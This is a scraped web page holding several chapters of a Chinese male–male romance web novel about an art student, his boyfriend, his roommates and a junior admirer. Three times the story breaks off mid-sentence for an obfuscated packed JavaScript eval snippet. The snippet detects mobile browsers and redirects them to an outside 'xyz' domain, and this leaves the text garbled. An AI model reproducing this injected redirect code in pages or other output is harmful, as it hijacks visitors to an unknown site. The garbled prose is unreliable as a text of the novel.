晏恒洲在台上无意间往下一瞟刚好看见,不知为何总觉得这副画面无比刺眼,大声嚷嚷着走下来把他们扯开:“干什么呢在这拉拉扯扯,能不能合群一点。” 他吼他的,其他舍友唱他们的,一时之间各种声音交杂混乱,无比刺耳。 祝惊霜一向喜静,很少处在这样欢闹的环境,这一刻却突然觉得,好像也没有那么糟糕。 ——“仍然自由自我 永远高唱我歌 走遍千里……” 到了最后连祝惊霜都不清楚耳边是谁的声音,只能记得绚烂流转的光彩下每个人笑得眯成一条缝的眼睛。 唱完后空气里依然浮动着热烈的气息,一个舍友激动的脸都红了,兴致勃勃地提议玩真心话大冒险。 “如果遇到不想回答的问题或者不想做的惩罚就罚一杯酒,怎么样?” 舍友指了指桌上放着的啤酒,语气亢奋。 其他人都没意见,祝惊霜犹豫了一下也同意了。 不知道是不是因为今天格外倒霉,游戏开始后第一轮就抽到了祝惊霜。 “我选真心话。”祝惊霜无奈地把号码牌放到桌上。 问问题的舍友摩拳擦掌:“让我想想问什么呢?” 他故作沉思状,没几秒就露出不怀好意的笑容:“你和别人有过最亲密的接触是什么?” 祝惊霜的肩膀微不可见地僵了一下,随后又放松下来:”接吻。” “具体点,是哪种接吻?是只贴了一下,还是……”另一个舍友笑容暧昧。 “舌吻。”祝惊霜面无表情道,语气冷淡的好像完全不是在说亲密行为。 其他人虽然一直起哄,但其实也没太惊讶,祝惊霜毕竟是谈着恋爱有恋人的,舌吻过也很正常。 只是他们都很难想象出祝惊霜这样冷冷淡淡的性子和人舌吻会是什么样子。 祝惊霜知道他们的想法,却不知道怎么和他们解释。 他确实和人舌吻过,但是那个人并不是赵牧铭,他和赵牧铭还保持在非常纯洁的阶段,做过最亲密的动作就是牵手和拥抱。 祝惊霜苦恼于该不该让他们就这样误会下去,没有注意到晏恒洲的脸色已经彻底沉了下来,黑的几乎能滴出水来。 几轮下来多多少少都喝了点酒,祝惊霜也不例外。 喧闹的氛围加上酒精的加持让人不自觉感到头晕目眩,他呆了一会儿决定去洗手间清醒清醒顺便透透气。 经过转角时,他似乎看见了一个有些眼熟的身影,却又记不起是在哪见过。 8. 强吻 记不清的就是不重要。 祝惊霜也没太在意,从洗手间回来后刚拉开包间的门,迎面便撞上男人宽阔的胸膛。 浓郁的红酒味盈满鼻腔,他蹙起眉,说话毫不客气:“醉的路都走不稳了?” 等了两秒都没有得到回应,祝惊霜疑惑地抬起头,却看见晏恒洲的神色似乎有些怔然。 真喝醉了? 祝惊霜伸手在他面前晃了晃,下一秒手腕就被握住禁锢在胸前。 他慢半拍地发觉包间里安静到不对劲的地步,侧头却对上了舍友们略带慌张的眼神。 也是这一刹那,晏恒洲低下头本来是想吻他的脸,却因为他这一侧头刚好碰上了他的唇。 唇上一热,两个人都愣住了。 方宸手一抖,没拿稳的杯子摔在地毯上发出闷重的声响。 鬼使神差,晏恒洲脑海中浮现出祝惊霜面无表情说自己和别人舌吻过的模样,一股无名火猛地窜了上来。 他不退反进,轻轻咬了一下祝惊霜的上唇。 平时给人感觉那样冰冷高不可攀的人,唇瓣却柔软的不可思议。 晏恒洲迷迷糊糊地想。 下一秒清脆的巴掌声响起,祝惊霜冷冷地看了他一眼,转头就走。 晏恒洲捂着脸还没反应过来,过了好几秒才匆忙追了出去。 留在包间里的人互相对视一眼,酒全都吓醒了,后知后觉发现好像玩过了。 “完了……”其中一个人望着他们离开的背影喃喃道。 刚刚祝惊霜去洗手间的时候他们还在继续玩,刚好抽到了晏恒洲,他选了大冒险。 不知道是谁,提出让晏恒洲出门亲第一个见到的同性一口。 他们都喝了酒,正是上头的时候,又想着是同性不会太冒犯,除了晏恒洲看起来不太乐意,没有人提出异议。 此刻的晏恒洲追在祝惊霜后面满心慌乱和后悔。 其实他本来已经准备放弃大冒险选择受罚喝酒了,但一开门祝惊霜走进来时他脑子一抽,鬼使神差决定照做。 “我不是故意的,我刚刚抽到了大冒险,是亲遇到的人一下……” 祝惊霜一路走下去,在楼梯上晏恒洲不敢拉他,只好一路跟着跑下去,边解释边试图从对方的表情看出点什么。 终于来到了一楼,晏恒洲小心翼翼地去搭祝惊霜的肩膀,却被狠狠甩开:“让开。” 灯光下漂亮的眉眼冷若冰霜,隐约透着怒意,凌冽的像山间雪。 晏恒洲心口麻了一瞬,下一刻恐慌再次占据了心头:“你生气了吗?” 祝惊霜如水的眼眸狠狠瞪了他一眼,被他拽着走不了,只能原地和他僵持。 晏恒洲自知理亏,脸上还带着巴掌印,讨好地晃了晃他的袖口:“你别生气,我喝醉了脑子不清醒,你别和我计较。” “脸不疼了?” 祝惊霜冷哼一声,看起来也没有那么生气了。 冷静下来他也知道晏恒洲说的大概是真的,真心话大冒险这样玩倒也不算特别出格,只是晏恒洲亲了一下还不算,为了报复还咬了他一下,他才会那么恼怒。 “不疼了,我皮糙肉厚,你要是没消气可以再打几巴掌。”晏恒洲松了口气,嬉笑着把脸凑上去,心里不知为何浮现出隐秘的期待。 “就这样?”祝惊霜轻飘飘睨了面前人一眼,雪白的脸颊带着微醺的粉,红润的唇泛着水光。 晏恒洲的视线不由自主往下,过了几秒才反应过来:“啊,哦,对不起。” 他咽了咽口水:“我请你吃饭?帮你扛一个月的画具给你跑腿?或者别的什么都行,只要我能做到。” 祝惊霜没说话,将视线投向了他的身后。 晏恒洲还没来得及回头,就听见身后传来一声含满惊喜的呼唤:“学长!” 年轻又充满朝气的面孔映入眼帘,祝惊霜忽然知道自己去洗手间时余光看见熟悉的身影是谁的了。 万则越站到他们身边,宽阔的肩膀和健壮的身材对比起晏恒洲来也毫不逊色。 “好巧啊,又碰到了。”万则越笑容愉悦。 祝惊霜对他的殷勤视而不见,丝毫不顾忌他的面子:“真的是碰巧?” 万则越听出他在内涵自己上次跟踪他的事情,摸了一下鼻子:“真的!我保证!是有朋友来找我,不信你看。” 说着他就要拿出手机翻聊天记录自证清白,被祝惊霜制止了:“不用看了,我信了。” “这是谁?我怎么不知道你什么时候认识了什么学弟。”晏恒洲把手搭在祝惊霜肩上,一副和他很熟悉的模样。 从旁人的角度来看就好像祝惊霜被他圈在怀里了一样,万则越的脸色渐渐沉了下来。 “认识就认识了,还要和你报备吗?”祝惊霜还没完全消气,对他依然没有好脸色,但也没再推开他。 “别那么大火气。”晏恒洲知道他还没消气,又讨好道:“我刚刚的提议怎么样?或者你有没有其他想要的。” “没想好,先欠着吧。”祝惊霜有些不耐烦地拂开他的手。 万则越看他们如此亲密,忍不住攥紧拳头。 在他追祝惊霜的那两年里也有见过祝惊霜这个舍友,但印象里晏恒洲和祝惊霜极其不对付,只要见面必定针锋相对。 是什么时候开始,他们竟变得这样熟络了? “祝惊霜。”万则越这次不叫学长了,直接喊的大名。 祝惊霜扭头看了他一眼,似乎在疑惑他为什么还在这。 万则越后槽牙咬的很紧,努力挤出一个笑:“你要准备回家了吗?” 祝惊霜不置可否,若有若无地点了点头,似乎在说“不然呢”。 “刚好我也要走了,我送你回去吧。” “你不是和朋友一起来的,你朋友呢?” 祝惊霜不知道万则越对送自己回家这件事是不是有什么执念,上一次雨天还能算是好心,但这次外面没有下雨,他根本不需要别人送。 “我朋友已经走了。”万则越面不改色。 他今天确实是和朋友一起来的,这点没有骗祝惊霜。 关杨搬家搬回了这里,以后可能要在这边久居,作为好兄弟万则越自然要给他洗尘接风。 不过关杨还在楼上并没有走,本来还约好了结束以后一起去吃宵夜,但万则越一看见祝惊霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403483|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就把全部计划抛到脑后,只知道围着祝惊霜转了。 至于后续关杨知道以后哀嚎着质问他怎么不让自己看一眼令自己兄弟魂牵梦绕的人现实中长什么样就是后话了。 “不用麻烦了……” 祝惊霜的话说到一半,就被晏恒洲打断了:“不用麻烦了,我来送就好。” 祝惊霜额角的青筋跳了跳。 “不麻烦,上次的事情还没来得及和学长赔罪呢。”万则越和晏恒洲说着话,眼睛却是看着祝惊霜的:“学长,你说呢?” 晏恒洲还想说话,却被祝惊霜的表情吓得闭了嘴。 祝惊霜漂亮的脸上满是不耐,他不明白送自己回家这种事有什么好争的,两个高大的男人在门口争执不休不嫌丢人他还嫌丢人呢。 祝惊霜一边一个把他们都往外推:“我自己能走,不用你们送。” 晏恒洲今天已经把他惹生气了一次,不太敢再忤逆他。 万则越一副很听话的模样,被推的一个趔趄还回头对着祝惊霜笑了一下。 直到祝惊霜打好车,看见车窗摇下来后露出的熟悉面容,才恍然大悟为什么万则越刚刚那么顺从。 万则越理直气壮道:“我做个副业。” 祝惊霜沉默几秒,懒得纠缠那么多,还是上了车。 一张极其精致的脸映在后视镜里,万则越偷看了一眼又一眼,故作不经意间开口问道:“那么晚了,你男朋友不来接你吗?” 祝惊霜眼皮都没抬一下:“涉及打探客户隐私了,司机。” 万则越拖长了声音不满道:“学长——” 祝惊霜无声地叹了口气:“你想说什么?” 万则越想了想,做出一副被污蔑的可怜巴巴姿态道:“我只是不想你被骗。” “你男朋友骗了你。” …… 回到家的时候天已经完全黑了,沉甸甸的夜色无边蔓延。 一个高大强壮的男人从阴影里踱步出来,漆黑的影子在路灯下被反复拉扯。 祝惊霜下意识看了眼手机,才发现有许多未接来电和未读信息,而且全都来自同一个人。 点开消息,最新的一条显示时间是半小时前,说自己不放心他所以来他家楼下等他。 祝惊霜几乎是被赵牧铭拽下车的,这是在一起之后对方第一次对他如此粗鲁。 “你喝酒了?怎么是他送你回来?”赵牧铭拉着他的手都在抖。 祝惊霜察觉到对方的反应异样的大,联想起万则越在车上说的话,轻轻眨了眨眼:“你们认识?” 赵牧铭往车上看了一眼,这一刻祝惊霜不知道为什么下意识就关了车门,万则越的神色隐藏在车窗后,看不真切。 赵牧铭握着祝惊霜的手更紧了。 祝惊霜才发现,自己这样有点像在心虚。 又不是和小三出去被男朋友抓奸,他心虚什么? 下一秒,赵牧铭捏住祝惊霜的下把,指腹在他唇上重重擦了一下,眼底晦暗不明:“哪来的伤口?” 毫不留情的动作让唇上泛起刺痛感,祝惊霜想起今天发生的事情,脸色一黑。 “被狗咬的。” 9. 吃醋 万则越开车走后,祝惊霜望着汽车尾烟逝去的方向,眼底映出浅浅的碎光。 泛红的眼尾,水润的红唇,无一不彰显他的诱人。 也无一不再告诉赵牧铭,自己的男朋友是因为别的男人才变成这副模样。 “他已经走了,还没看够?” 低沉的男声里带着藏不住的醋意,祝惊霜收回目光,语气平静:“很晚了,你还不回学校吗?我记得你明天有早课。” 看着面前人淡漠的神色,赵牧铭简直要气笑了,一时之间竟不知自己该为了对方赶自己走而生气还是为对方记得自己明天有课而高兴。 他没有回答,而是反复用指腹摩挲着祝惊霜的唇,薄唇抿的很紧:“他不是好人,你最好离他远一点,不要被他骗了。” 在祝惊霜面前,赵牧铭极少有这样说话夹抢带刺的时候。 相似的说辞让祝惊霜蹙起眉,他又一次询问:“你们认识?” 他第一次问的时候赵牧铭没有回答,第二次问的时候赵牧铭总算给出否定的答案:“不认识。” “不认识你说他不是好人?”祝惊霜的唇被他揉地生痛,冷着脸推开他的手。 赵牧铭被他推开后神色变得不敢置信,他低头看着自己被祝惊霜甩开的手,抖了抖唇,像是受了极大的委屈:“你要为了他和我吵架吗。” 他的心口满是酸涩,不过短短一天,祝惊霜身上就染满了其他男人的味道,还要为了其他男人和自己吵架。 “……”祝惊霜的眼中闪过一丝不耐,差点就要说出经典的“你要这么想我也没办法”。 尽管他没说出来,沉默表达的意思却也差不多了,赵牧铭张了张嘴,如哀求一般道:“你相信我,小霜。” 高大的男人做出这副小心翼翼的姿态显得有几分滑稽,祝惊霜沉默几秒,声音依然冷淡:“我和他不熟。” 勉强算是一句解释。 但这对赵牧铭来说已经足够了,他高兴地拉住祝惊霜的手,嘴角止不住往上扬。 他还在傻乐的时候,祝惊霜看了眼时间,发现已经过了学校门禁的点。 “我去旁边的酒店开个房吧。”赵牧铭看出他不想让自己上楼,主动提议。 祝惊霜“嗯”了一声,对于他的识相很满意。 房子是他和贺栩樾一起租的,现在贺栩樾估计也在楼上,他把赵牧铭带回去不太合适。 不过说起来,他谈恋爱之后好像还没带男朋友和其他朋友吃过饭。 普通朋友就算了,贺栩樾还是应该一起吃个饭正式介绍一下的。 祝惊霜若有所思。 …… 贺栩樾知道他的想法后有些意外:“你对他竟然是认真的。” “我当然是认真的。”祝惊霜不太高兴。 虽然他对赵牧铭的喜欢可能没有对方那么深,但他对于这场恋爱态度还是很认真的,这也是他的初恋。 贺栩樾的口吻就好像他是什么游戏人间的渣男一样。 “你真的确定你喜欢他?”贺栩樾半开玩笑半认真地道:“我当然不是觉得你有什么问题,只是你一直都对恋爱不感兴趣,我担心你是把别的感情错当成爱情。” 语气意味深长,就差把“我怕你被人骗”写在脸上。 其实细说起来,贺栩樾比祝惊霜还要小上几个月,但他早就习惯了对这个从小就体弱多病的“哥哥”处处操心。 祝惊霜听懂了他的意思。 说来说去,就是觉得自己不知道什么是喜欢。 “你想太多了。”祝惊霜不耐道:“不想见就算了。” 看他冷着脸就要走,贺栩樾连忙把他拉住:“怎么才说几句就生气,你谈恋爱我肯定是要把关的。” 他毫不怀疑,如果自己今天不把祝惊霜哄好,以后祝惊霜每次谈恋爱都不会再介绍恋人和他认识。 他也知道,祝惊霜是把自己当做最亲密的朋友甚至家人,才会在谈恋爱时想着带对象给他看看。 “轮得到你把关吗?”祝惊霜甩开他的手,漂亮的脸上仿若结了冰一般。 贺栩樾厚着脸皮又去搭他的肩膀:“当然轮不到,我怎么配对你的恋爱对象指指点点,你就是一次谈十个八个我也管不着啊。” “瞎说。”祝惊霜瞪他一眼,紧绷的眉眼却舒展开来。 贺栩樾见他脸色好转,趁热打铁:“早在很多年前我就幻想过你将来会找一个什么样的恋人了,你就当可怜可怜我,让我长长见识吧。” “你又不是没见过。”祝惊霜吃了一口他切好的果盘,矜傲地指使他去冰箱拿饮料。 “身份不同,他现在可是你名正言顺的正牌男友。”贺栩樾一本正经,说出的话却无端显得阴阳怪气。 他忙前忙后伺候祝惊霜,说尽了好话,哄了好半天才终于换得对方勉强点头。 之后便是订餐厅走流程——一切都很顺利。 起码在祝惊霜眼里很顺利。 会面时不管是贺栩樾还是赵牧铭都很有礼貌,聊天的话题一直围绕着祝惊霜,气氛甚至算得上融洽——如果忽略他们抢着给祝惊霜夹菜以及明里暗里比较谁对祝惊霜更了解的话。 祝惊霜对餐桌上的暗流涌动一无所感,还觉得颇为满意。 到了结账的时候,赵牧铭和贺栩樾都抢着付钱,最后赵牧铭赢了。 祝惊霜不明白他为什么那么坚持,赵牧铭说第一次以他男朋友的身份和他的朋友见面,这一顿必须自己来请。 贺栩樾一下午都保持着良好的礼貌,直到饭后想像往日一样和祝惊霜一起回家却得知祝惊霜晚上要和男朋友约会时,得体的笑容才出现了一丝裂缝。 “不用给我留灯。”祝惊霜没注意到他难看的脸色,一只手被赵牧铭牵着,另一只手朝后摆了摆。 赵牧铭以一个胜利者的姿态牵着祝惊霜走了出去,激动的手心都出了汗。 这并不是他和祝惊霜第一次约会,却是他第一次被祝惊霜以男朋友的身份正式介绍给朋友。 夜晚的闹市人头攒动,灯光温暖而明亮。 十一月底的风依旧热忱,祝惊霜和赵牧铭并肩靠在河岸边的栏杆上,波光粼粼的水面上折射出两岸灯火绚丽的色彩。 “小霜,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403484|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天好高兴。”赵牧铭侧着头,眼睛都眯成了一条缝,欢愉与爱意几乎要满溢出来:“你把我介绍给你朋友认识,你承认我了。” 晚风中祝惊霜一头长发散如流墨,脸颊两边的碎发贴着苍白清晰的下颚线,在夜色里显得沉静又清冷。 赵牧铭反复重复着“我好高兴”“我好爱你”,好像怎么都说不够。 祝惊霜看着他这副傻样轻轻勾了勾唇角,黑夜中那双漆黑的眼眸无比明亮,原本冰冷的面容也骤然生动起来。 这一笑的杀伤力太大了,赵牧铭的心脏都有一瞬间的紧缩,随后他就仿佛是话本里被妖精夺了魂魄的书生一般情不自禁地凑上前。 祝惊霜的皮肤白的像一捧雪,唯有唇边残留着一抹摄人心魄的红。 那抹艳色仿佛将赵牧铭的眼睛也染红了,吸引着他去把那颜色吃掉。 他就这样慢慢凑近,直至呼吸交融,祝惊霜身上淡雅的白茶香仿佛都随着逐渐升高的体温弥漫开来。 唇齿相依的瞬间祝惊霜闭上了双眼,纤长的睫毛仿若展翅欲飞的蝶翼。 除去一开始的试探,赵牧铭吻的很急切,且毫无章法,亲的祝惊霜喘不上气来,忍不住伸手想将对方推开一点。 这点挣扎在已经失去理智的赵牧铭眼里不值一提,他吻的很投入,还轻轻咬了一口祝惊霜的下唇。 “唔……” 祝惊霜被亲的浑身发软,赵牧铭的手不知何时搂住了他的腰,掌心的温度滚烫,隔着一层薄薄的衣物几乎要将他灼烧。 “你是狗吗……唔……别咬了……” 或许是因为第一次接吻,赵牧铭有些收不住,祝惊霜嘴唇都有些发麻,最后被他咬疼了不肯再继续亲。 赵牧铭还没亲够,手指摩挲着祝惊霜被他吻的水红的双唇,眼底的暗色如有实质:“你能给别人咬为什么不给我咬,我的吻技有那么差吗。” 祝惊霜愣了好几秒才反应过来他的意思,怒极反笑:“我什么时候给别人咬了?” “你和你舍友出去玩,然后别的男人送你回来的那次。”赵牧铭抿着唇,无端显得有几分可怜。 祝惊霜想起那天唇上那个几乎算得上恶搞的伤,才知道赵牧铭误会了什么,寒声道: “你以为那天我和别人接吻了?” 赵牧铭闷闷“嗯”了一声。 祝惊霜冷笑一声:“你觉得是谁和我接吻了?” 赵牧铭理所当然道:“送你回来的那个男人呗。” 他的态度太过坚定,也太过怪异,让祝惊霜不由怀疑: 误会恋人出轨,这种反应真的是正常的吗? 这时候的祝惊霜还没看清赵牧铭外表下偏执疯狂的本质,只是从蛛丝马迹中察觉到自己这个男朋友的思维似乎异于常人。 祝惊霜用简洁的语言解释了那天发生的事情,随后淡淡问道:“你如果当时就怀疑,为什么不直接问我?” 赵牧铭在听见晏恒洲因为大冒险亲了祝惊霜时皱起了眉,又在听完后长舒了一口气,听见祝惊霜的质问下意识心慌起来,讨好地去牵祝惊霜的手指:“对不起……” 10. 醉酒 赵牧铭舔了一下后槽牙:“我太害怕了,不是故意不问你的。” “怕什么?”祝惊霜轻嗤一声:“怕我提分手?” 赵牧铭没敢说话,用沉默代表默认。 “如果我真的想和你分手,不会等到你来问我。”祝惊霜冷冷地看着他,浓重的夜色里一双纯澈的眼眸又水又亮。 赵牧铭有些受不了从他口中听到“分手”两个字,放在祝惊霜腰上的手一紧:“是我的错,下次不会了……” 他的目光落在祝惊霜经过刚刚的亲吻变得格外殷红的唇瓣上,莫名觉得口干舌燥:“我不咬你了,能不能再亲一会儿。” 赵牧铭的语气恳求,祝惊霜却本能地感受到一丝危险。 “可以吗?” 下一秒赵牧铭凑到他唇边轻轻碰了碰,像是已经克制不住。 祝惊霜最后还是同意了。 或许是因为太久没有和人这样亲密无间地拥吻过,祝惊霜晚上回去以后做了一个梦。 上次和舍友出去玩真心话大冒险时,他被问到做过最亲密的行为,他说“舌吻”。 今天是他和赵牧铭在一起之后第一次接吻,那时他说的“舌吻”并不是和赵牧铭,而是他的初吻。 梦里他仿佛又回到了那一天,喧闹嘈杂的声音仿佛陷在雾里,听不真切。 高考结束后的假期,祝惊霜和包括贺栩樾在内的一众朋友一起去了市内一家出名的酒吧。 这间酒吧名字叫coisini,中文意思是怦然心动。 本来只是其中一个朋友提议来玩一玩,没想干什么,点的酒都是度数很低的啤酒。 一开始祝惊霜喝的时候其他人都没当回事,因为他看起来和平常没有任何差别,依然是冷淡又白皙的面孔,没有一点喝醉的模样。 所以祝惊霜中途想离座去洗手间时也没人察觉他的不对劲,只有贺栩樾不放心,在他面前晃了晃手指:“这是几?” “你干嘛?”祝惊霜笑了一下,淡淡的酒香散开来:“我没醉。” 贺栩樾看他神色正常,便没再说话。 殊不知祝惊霜此刻视线已经一片模糊,整个人几乎是“飘”出去的。 酒精上头让他的精神异常亢奋,从洗手间走出来时突然一阵头晕目眩,眼前就像是大片大片的色块搅乱在一起。 祝惊霜无端想起之前去美术展时看过的一幅画,风格和他现在眼前看见的就很类似。 “你还好吗?” 陌生的男声询问了好几次都没得到答案。 祝惊霜慢半拍地抬眸,涣散的眼眸仿佛含着一汪被搅乱的春水,皮肤在幽暗的灯光下苍白如雪,眼尾一抹红摄人心魄。 恍惚间他将眼前模糊的高大身影认成了贺栩樾,放心地靠在了对方身上。 对方显然没料到他的举动,全身肌肉都紧绷起来。 祝惊霜正醉着,也就不知道此刻自己的模样有多诱人。 那个男人看着他呼吸逐渐粗重,最后没忍住低头小心翼翼地碰了碰他的唇。 醉酒后的祝惊霜下意识张唇,被误以为是允许的信号,随后便一发不可收拾。 那之后发生的一切都混沌而暧昧,酒醒后的祝惊霜已经记不清那个男人的脸,记忆里的一切也都像是被蒙上一层纱般模糊不清。 他只从贺栩樾口中知道自己说去洗手间却去了很久,朋友们担心他出事便分头去找他。 最后却是祝惊霜自己跌跌撞撞走了回来,见到贺栩樾以后倒在他怀里就睡着了。 醒来后祝惊霜怕贺栩樾担心没说自己喝醉了和一个记不清脸的陌生男人接过吻,也没和别人说过。 他做过出格的事情屈指可数,这算是一件。 从梦中惊醒,祝惊霜轻轻吸了一口气。 本来事情过去那么久,他已经忘得差不多了。 但不知道为什么,今天的赵牧铭让他想起那一天的陌生男人。 说不出哪里相似,只是一种感觉。 祝惊霜还在发愣,却听见房间门被敲了敲。 这么早,只可能是贺栩樾。 果不其然,在他应声后穿着一身运动服的贺栩樾就走了进来。 “总算是醒了,难得睡了那么久,昨天耗费了不少体力吧。” 贺栩樾把水杯放在床头,一张嘴就阴阳怪气的。 “再胡说八道就滚出我的房间。”祝惊霜喝了口水,温度刚刚好,不会太烫也不会太凉。 贺栩樾撇了撇嘴,没敢再开口。 阳光从窗口渗进来,为祝惊霜的侧脸镀上一层淡淡的金光,往下是一截雪白修长的脖颈。 他看向床头的手机,正想拿过来看一眼时间,双手却被贺栩樾按住了。 祝惊霜疑惑抬眸,睫毛的阴影在清清浅浅的日光下纤毫毕现。 贺栩樾在下意识按住那素白的手腕后有些心虚地咳嗽了一声,暼了一眼床头柜上的手机,故作镇定道:“我先提前说明啊,我是不小心按到的,你不能生气。” “你按了什么?我为什么会生气。”祝惊霜莫名其妙地瞟他一眼,想抬手去拿手机却又一次被按住了。 贺栩樾有些心虚地移开视线,理不直气不壮:“你先答应我不能生气。” “行,不生气。”祝惊霜不耐地蹙起眉。 这次贺栩樾没敢再拦着他,祝惊霜成功拿到手机,点开便看见赵牧铭半夜给他发了几十条消息。 点开备注“男朋友”发来的未读消息,隔着屏幕都能感受到对方的激动: 【男朋友:你睡着了吗?】 【男朋友:我好像有点睡不着了】 【男朋友:感觉今天的一切都像梦一样】 【男朋友:我真的亲了你吗?真的吗?】 【男朋友:不会是我出现幻觉了吧】 这中间隔了一个小时,赵牧铭才继续发: 【男朋友:好想见你,明明刚见面,但就是好想你】 【男朋友:竟然不知不觉就五点了……】 【男朋友:感觉我可以直接去上早课,上完早课我可以去找你吗?】 【男朋友:如果你今天有别的安排那就当我没说】 【男朋友:[可怜.gif]】 最近一条消息是不久前发的,看时间应该是赵牧铭刚上完早课时发的,光看文字都能感受到对方的忐忑不安: 【男朋友:我这样你会不会觉得烦】 【男朋友:对不起】 【男朋友:理理我吧】 祝惊霜面对那么多消息有几分不知所措,最后简短解释了一句:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403485|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【祝惊霜:我刚醒,才看见】 顿了顿,他又挑了几条引用回复: 【祝惊霜:不会】 这是回复赵牧铭问他会不会嫌烦的。 【祝惊霜:下次吧】 这是回复赵牧铭询问他上完早课能不能来找他的。 【祝惊霜:真的】 这是回复赵牧铭那句自言自语的“我真的亲了你吗”。 …… 回完赵牧铭的消息后,祝惊霜又查看了其他的未读信息,全部看完后还是没懂贺栩樾做了什么才会那么心虚。 直到他点开通话记录—— 从他拿起手机起,贺栩樾就屏住了呼吸,坐在一旁连大气都不敢喘。 此刻见到祝惊霜终于点开了电话图标,他反而松了口气。 早死晚死都得死。 通话记录很“丰盛”,祝惊霜已经很久没有接到那么多电话了。 有父母的、舍友的、赵牧铭的……还有两个未知来电。 最重要的是,这些电话都显示的是接听过。 “我不是故意的,你手机一直响,我怕你被吵醒才接的。”贺栩樾的声音很大,仿佛在用音量给自己壮胆。 祝惊霜知道他肯定是说了什么才会这副样子,狐疑道:“你都说了什么?” 贺栩樾挑挑拣拣,先挑了最不重要的说:“有两个没备注的电话,一个听起来像诈骗我给挂了,还有一个好像是有什么美术展的事情要找你,让你醒了以后给他打回去。” “你舍友问我是谁,为什么那么晚还和你待在一起,我说我们住在一起,你刚睡着,让他等你醒了再打过来。” “……然后他把电话挂了,可能是误会了什么……”贺栩樾咽了下口水,小心翼翼地看了他一眼: ”然后……你男朋友打电话给你,说他想找你,还说今天早上碰到了你舍友,不知道为什么你舍友态度怪怪的。” 祝惊霜有些头疼,宿舍其他人都知道他有在外面租房,但是只有方宸知道他是和贺栩樾一起合租的。 按照贺栩樾那个态度,舍友一开始肯定是误会成他和男友同居了,结果挂断电话没多久就碰到赵牧铭一个人下课…… 祝惊霜简直不敢想舍友会误会成什么样。 “然后呢?你怎么回答的。”他轻叹一口气,倒也不至于生气,只是有点无奈。 “我还没来得及说话,就不小心误触挂断了。”贺栩樾一脸无辜。 祝惊霜边翻通话记录边问:“还有呢?我爸妈打电话过来说了什么?” “你爸妈问我你怎么今天那么晚起,我说你昨天和男朋友出去玩了太累了……”贺栩樾的声音越说越小,在祝惊霜凌厉的目光中小声嘟囔了句:“是你要问的。” 祝惊霜的父母是清楚他的性向的,只是并不知道他谈了恋爱。 他没刻意隐瞒,只是觉得还不稳定,也因为父母对他的过度紧张所以暂时没提,结果没想到贺栩樾在电话里说漏嘴了。 见祝惊霜没说话,贺栩樾只好继续道:“然后叔叔阿姨就不停问我你男朋友是什么样的人,对你好不好,你们怎么在一起的,我招架不住就说等你醒了亲自和他们说。” 祝惊霜:“……” 这下他是真的有点头疼了。 11. 生气 “宝贝,你谈恋爱了?” 电话里传来母亲关切的声音,祝惊霜垂着眸耐心解释。 “对,比我小。” “我会注意的。” “够花,不用多给。” “嗯,好。” …… 贺栩樾在一旁时不时偷看,为了显得不那么刻意还点开了游戏。 他心不在焉的,死了好几次也没感觉,直到队友忍不住开麦骂他,他才低头认真看了一眼手机,发现对面已经推到高地了。 失败的播报出现时祝惊霜刚好应对完父母密不透风的询问,看着手机屏幕无声地叹了口气。 “怎么样?”贺栩樾盯着屏幕假装自己还在打游戏,超不经意间开口问了一句。 祝惊霜没理他,低着头,看起来很平静。 他平静地和部长讨论完美术展的事情,又平静地安抚完了赵牧铭。 然后在转头看见贺栩樾还在(假装)打游戏时表情终于变了。 尽管只是微微蹙起眉,但也代表着他此刻心情已经糟糕到了极点。 贺栩樾一慌,收起吊儿郎当的姿态,丢开手机起身上前,双臂岔开撑在桌子边沿,盯着祝惊霜卷翘的睫毛,神色认真:“叔叔阿姨骂你了吗?” 祝惊霜避开他的视线垂下眼帘,声音很冷:“没有。” 贺栩樾松了口气,伸手去抚他的额头:“那怎么还一直皱着眉,我错了,别不开心了。” 祝惊霜“啪”一声拍开他的手,站起身就想出去。 “你要去哪?”贺栩樾在身后低声下气:“不是答应好不生气吗。” “没生气。”祝惊霜无奈地回头看了他一眼:“xxxxx课上的千字论文明天晚上前要交,书放宿舍了,我回去一趟。” “最水的课事儿最多……”贺栩樾小声吐槽了几句,没再拦他。 虽然说了不生气,但打开门对上舍友们怪异的目光时祝惊霜依然心烦了一瞬。 都是贺栩樾的错。 接个电话都能接出那么多事。 忍了又忍,最后祝惊霜还是把贺栩樾拉黑了。 “老实交代,昨晚去哪里了?替你接电话的男人是谁?”给他打电话的舍友主动接过他的背包放到椅子上,一副兴师问罪的姿态。 祝惊霜看出他蠢蠢欲动的八卦之心,无奈道:“没去哪,是和我合租的朋友。” 